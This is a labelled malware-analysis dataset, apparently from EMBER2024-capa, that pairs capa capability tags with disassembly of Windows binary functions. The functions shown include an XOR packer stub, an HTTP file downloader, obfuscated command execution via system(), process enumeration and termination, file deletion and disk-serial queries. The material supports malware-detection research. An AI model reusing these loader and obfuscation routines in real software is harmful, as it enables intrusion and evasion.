joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100938f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5c], 0x4e
mov byte [ebp - 0x5b], 0x59
mov byte [ebp - 0x5a], 0x2d
call fcn.10093524
call dword [eax + 0x57]
push dword [ebp + 8]
call fcn.100934d9
mov dword [ebp - 0xc4], eax
mov byte [ebp - 0x44], bl
lea eax, [ebp - 0x44]
mov byte [ebp - 0x43], bl
push eax
mov byte [ebp - 0x42], 0xfd
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x40], 0x4e
mov byte [ebp - 0x3f], 0x6d
mov byte [ebp - 0x3e], 0x63
mov byte [ebp - 0x3d], 0x66
ret
mov byte [ebp - 0x3c], 0x4e
mov byte [ebp - 0x3b], 0x6b
mov byte [ebp - 0x3a], 0x60
mov byte [ebp - 0x39], 0x70
mov byte [ebp - 0x38], 0x63
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 0x7b
mov byte [ebp - 0x35], 0x43
mov byte [ebp - 0x34], 2
call fcn.10093524
push eax
push edi
push dword [ebp + 8]

Function at 0x10093900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5c], 0x4e
mov byte [ebp - 0x5b], 0x59
mov byte [ebp - 0x5a], 0x2d
call fcn.10093524
call dword [eax + 0x57]
push dword [ebp + 8]
call fcn.100934d9
mov dword [ebp - 0xc4], eax
mov byte [ebp - 0x44], bl
lea eax, [ebp - 0x44]
mov byte [ebp - 0x43], bl
push eax
mov byte [ebp - 0x42], 0xfd
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x40], 0x4e
mov byte [ebp - 0x3f], 0x6d
mov byte [ebp - 0x3e], 0x63
mov byte [ebp - 0x3d], 0x66
ret
mov byte [ebp - 0x3c], 0x4e
mov byte [ebp - 0x3b], 0x6b
mov byte [ebp - 0x3a], 0x60
mov byte [ebp - 0x39], 0x70
mov byte [ebp - 0x38], 0x63
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 0x7b
mov byte [ebp - 0x35], 0x43
mov byte [ebp - 0x34], 2
call fcn.10093524
push eax
push edi
push dword [ebp + 8]
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x33d637b2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x69f575e5
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401140
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.3__
mov esi, ecx
mov ebx, edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [0x4093a0]
mov edx, dword [0x4093a4]
mov edi, eax
mov eax, dword [str.Accept:___r_n_r_n]
push 0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x4093a8]
push 0x4000000
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x14]
push edx
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401213
push 0x4093ac
push ebx
call dword [sym.imp.MSVCR100.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x401213
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x18]
push eax
push 0x32
lea ecx, [ebp - 0x7c]
push ecx
push esi
call ebx
test eax, eax
je 0x401209
mov edi, edi
mov eax, dword [ebp - 0x18]
push edi
test eax, eax
je 0x401226
push eax
lea edx, [ebp - 0x7c]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push 0x32
lea ecx, [ebp - 0x7c]
push ecx
push esi
call ebx
test eax, eax
jne 0x4011e0
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.MSVCR100.dll_fflush]
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret
Function at 0x401760
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, str.lostsaga.exe
push 0x5c
push ebx
call dword [sym.imp.MSVCR100.dll_strrchr]
add esp, 8
test eax, eax
je 0x40178e
lea ebx, [eax + 1]
push 0
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401866
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
lea ecx, [ebp - 0x10c]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4017e3
test dl, dl
je 0x4017df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4017e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x4017c3
xor eax, eax
jmp 0x4017e8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40180a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea ecx, [ebp - 0x130]
push ecx
push edi
call esi
test eax, eax
je 0x40185f
mov edi, edi
lea ecx, [ebp - 0x10c]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401848
test dl, dl
je 0x401844
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401848
add eax, 2
add ecx, 2
test dl, dl
jne 0x401828
xor eax, eax
jmp 0x40184d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4017ec
lea edx, [ebp - 0x130]
push edx
push edi
call esi
test eax, eax
jne 0x401820
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret

Function at 0x401880
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xef
xor eax, eax
mov dl, byte [eax + 0x409660]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x34], dl
jns 0x4018b4
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x2c
jl 0x401897
push esi
mov esi, dword [sym.imp.MSVCR100.dll_system]
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 8], 0
call esi
add esp, 4
mov ecx, 0x36
xor eax, eax
mov dl, byte [eax + str._TYZVH]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x44], dl
jns 0x4018f2
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3c
jl 0x4018d5
lea eax, [ebp - 0x44]
push eax
mov byte [ebp - 8], 0
call esi
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop esi
call fcn.0040748c
mov esp, ebp
pop ebp
ret
Function at 0x401920
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xd1
xor eax, eax
mov dl, byte [eax + 0x4096d0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x34], dl
jns 0x401954
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x2c
jl 0x401937
push esi
mov esi, dword [sym.imp.MSVCR100.dll_system]
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 8], 0
call esi
add esp, 4
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x409700]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x44], dl
jns 0x401992
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3c
jl 0x401975
lea eax, [ebp - 0x44]
push eax
mov byte [ebp - 8], 0
call esi
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop esi
call fcn.0040748c
mov esp, ebp
pop ebp
ret
Function at 0x401d30
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40d700], eax
test eax, eax
je 0x401d78
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x40d700]
cmp dword [ebp - 0x58], 0
push ebx
push esi
push edi
je 0x401dde
call fcn.00401920
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x409808
sub edi, 0x20dd94f7
lea esi, [ebp - 0x54]
call fcn.00404fd0
mov edi, 0x1e0c9d6
lea esi, [ebp - 0x2c]
mov ebx, eax
call fcn.00404f90
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_rename]
push eax
call ebx
add esp, 8
lea esi, [ebp - 0x54]
call fcn.00404f90
mov edi, 0x1afe83fd
lea esi, [ebp - 0x28]
mov dword [ebp - 0x58], eax
call fcn.00405010
mov ecx, dword [ebp - 0x58]
push ecx
jmp 0x401e39
call fcn.00401880
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x62eccad1
lea esi, [ebp - 0x2c]
call fcn.00405090
mov edi, 0x4098a0
sub edi, 0x6fee6282
lea esi, [ebp - 0x54]
mov ebx, eax
call fcn.00405050
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_rename]
push eax
call ebx
add esp, 8
lea esi, [ebp - 0x54]
call fcn.00405050
mov edi, 0xdf51c34
lea esi, [ebp - 0x28]
mov dword [ebp - 0x58], eax
call fcn.004050d0
mov edx, dword [ebp - 0x58]
push edx
push eax
call ebx
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret
Function at 0x402ef0
Capabilities:
Create thread
Delete file
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x40d018]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_system]
push 0x40955c
call edi
add esp, 4
xor ebx, ebx
mov ecx, 5
xor eax, eax
mov dl, byte [eax + str.F____doczSChagqx__DPtoyopL]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x402f3d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x20
jl 0x402f20
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x34], bl
call esi
mov ecx, 0x59
xor eax, eax
jmp 0x402f60
mov dl, byte [eax + 0x409c98]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x402f7d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x22
jl 0x402f60
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x36], bl
call esi
mov ecx, 0xf4
xor eax, eax
mov dl, byte [eax + 0x409a6c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x402fb2
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x16
jl 0x402f95
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x2a], bl
call esi
mov ecx, 0x90
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x409f40]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x402fed
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x402fd0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x28], bl
call esi
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x409f58]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x10], dl
jns 0x403022
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x403005
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x28], bl
call esi
push str.Serial.log
call esi
push ebx
push ebx
push ebx
push 0x402100
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ebx, [ebx]
call fcn.00401760
test eax, eax
je 0x403050
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xfa0
call esi
push 0x40955c
call edi
add esp, 4
push 0x12c
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4042b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408108
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x404442
cmp byte [ebx + 0x49], 0
je 0x404442
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x404436
lea esi, [ebp - 0x2c]
call fcn.00403f00
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x404323
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x40435b
dec eax
je 0x40435f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x40443d
call fcn.00403080
xor al, al
jmp 0x404444
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40436f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40439d
cmp edi, 0x10
jae 0x40437e
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x40442e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40443a
test esi, esi
jne 0x404317
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40445f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40445f
cmp edi, esi
jae 0x404417
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00404740
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x404317
mov ecx, eax
cmp edi, 0x10
jae 0x4043f3
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40440e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x404311
test esi, esi
jne 0x4043e9
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x404426
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x404311
lea esi, [ebp - 0x2c]
call fcn.00403080
xor al, al
jmp 0x404444
lea esi, [ebp - 0x2c]
call fcn.00403080
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x406520
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408248
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x406583
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.004062e0
mov ecx, esi
call fcn.00406390
mov ecx, edi
mov ebx, esi
call fcn.00406470
cmp dword [ebp + 0x1c], 0x10
jb 0x4065b2
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
Function at 0x406ad0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37d4
call fcn.00407eb0
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push esi
push edi
push eax
push str..PhysicalDrive_d
lea edx, [ebp - 0x10c]
xor esi, esi
call fcn.00407470
add esp, 8
push esi
push esi
push 3
push esi
push 3
push esi
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x37cc], edi
cmp edi, 0xffffffff
je 0x406d0d
xor eax, eax
push 0x2710
push eax
lea edx, [ebp - 0x37bc]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], eax
push edx
mov dword [ebp - 0x37d0], esi
mov dword [ebp - 0x37c0], eax
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x37d0]
push eax
push 0x2710
lea ecx, [ebp - 0x37bc]
push ecx
push 0xc
lea edx, [ebp - 0x37c8]
push edx
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x406d00
mov eax, dword [ebp - 0x37b0]
push esi
lea edi, [ebp - 0x8dc]
lea ecx, [ebp - 0x37bc]
call fcn.00406960
mov eax, dword [ebp - 0x37ac]
push esi
lea edi, [ebp - 0xcc4]
lea ecx, [ebp - 0x37bc]
call fcn.00406960
mov eax, dword [ebp - 0x37a8]
push esi
lea edi, [ebp - 0x10ac]
lea ecx, [ebp - 0x37bc]
call fcn.00406960
mov eax, dword [ebp - 0x37a4]
push 1
lea edi, [ebp - 0x4f4]
lea ecx, [ebp - 0x37bc]
call fcn.00406960
add esp, 0x10
cmp byte [0x4110c8], 0
jne 0x406cb7
movsx eax, byte [ebp - 0x4f4]
mov edi, dword [sym.imp.MSVCR100.dll_isalnum]
push eax
call edi
add esp, 4
test eax, eax
jne 0x406c33
movsx ecx, byte [ebp - 0x4e1]
push ecx
call edi
add esp, 4
test eax, eax
je 0x406cb7
xor eax, eax
jmp 0x406c40
mov cl, byte [ebp + eax - 0x8dc]
mov byte [eax + 0x410cc8], cl
inc eax
test cl, cl
jne 0x406c40
xor eax, eax
jmp 0x406c60
mov cl, byte [ebp + eax - 0xcc4]
mov byte [eax + 0x4108c8], cl
inc eax
test cl, cl
jne 0x406c60
xor eax, eax
jmp 0x406c80
mov cl, byte [ebp + eax - 0x4f4]
mov byte [eax + 0x4110c8], cl
inc eax
test cl, cl
jne 0x406c80
xor eax, eax
jmp 0x406ca0
mov cl, byte [ebp + eax - 0x10ac]
mov byte [eax + 0x4104c8], cl
inc eax
test cl, cl
jne 0x406ca0
mov esi, 1
push 0x2710
lea edx, [ebp - 0x37bc]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [ebp - 0x37cc]
add esp, 0xc
push 0
lea eax, [ebp - 0x37d0]
push eax
push 0x2710
lea ecx, [ebp - 0x37bc]
push ecx
push 0
push 0
push 0x700a0
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, dword [ebp - 0x37cc]
jmp 0x406d06
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040748c
mov esp, ebp
pop ebp
ret 4
Function at 0x4073c0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x94
xor edi, edi
lea eax, [ebp - 0xa0]
push edi
push eax
mov esi, ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 2
jne 0x407443
call fcn.004067b0
test eax, eax
jne 0x40745a
push esi
call fcn.00406ee0
test eax, eax
jne 0x40745a
push esi
call fcn.00406ad0
test eax, eax
jne 0x40745a
push esi
call fcn.00406640
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040748c
mov esp, ebp
pop ebp
ret
xor ebx, ebx
test edi, edi
jne 0x407458
mov ecx, esi
call fcn.00406d80
inc ebx
mov edi, eax
cmp ebx, 0xa
jl 0x407445
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040748c
mov esp, ebp
pop ebp
ret

Function at 0x40748c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d018]
jne 0x407496
repz ret
jmp fcn.0040785c
Function at 0x1023eb60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1025a120], 0
mov byte [0x1025a124], 0
mov edi, dword [0x1025a118]
add edi, 0xfffff6be
mov dword [0x1025a114], edi
mov dword [0x1025a11c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1023ec8b
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1025a128], 0
mov dword [0x1025a118], 0x526
mov edx, dword [0x1025a120]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1025a128], edi
mov dword [0x1025a118], 0x253a
mov eax, edi
cdq
idiv ecx
mov dword [0x1025a120], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1025a124], cl
mov dword [0x1025a114], 0x179b
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x1025a114]
add ecx, 0xffffe180
mov dword [0x1025a114], ecx
mov cl, byte [0x1025a124]
mov edx, dword [0x1025a120]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x1025a11c]
add edx, 1
mov dword [0x1025a11c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1023ebb2
jmp 0x1023ecbd
mov dword [0x1025a11c], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1023ebb2
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1025a118], 0x1057
mov eax, dword [0x1025a11c]
add eax, 1
mov dword [0x1025a11c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1023ec8b
jmp 0x1023ec77
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret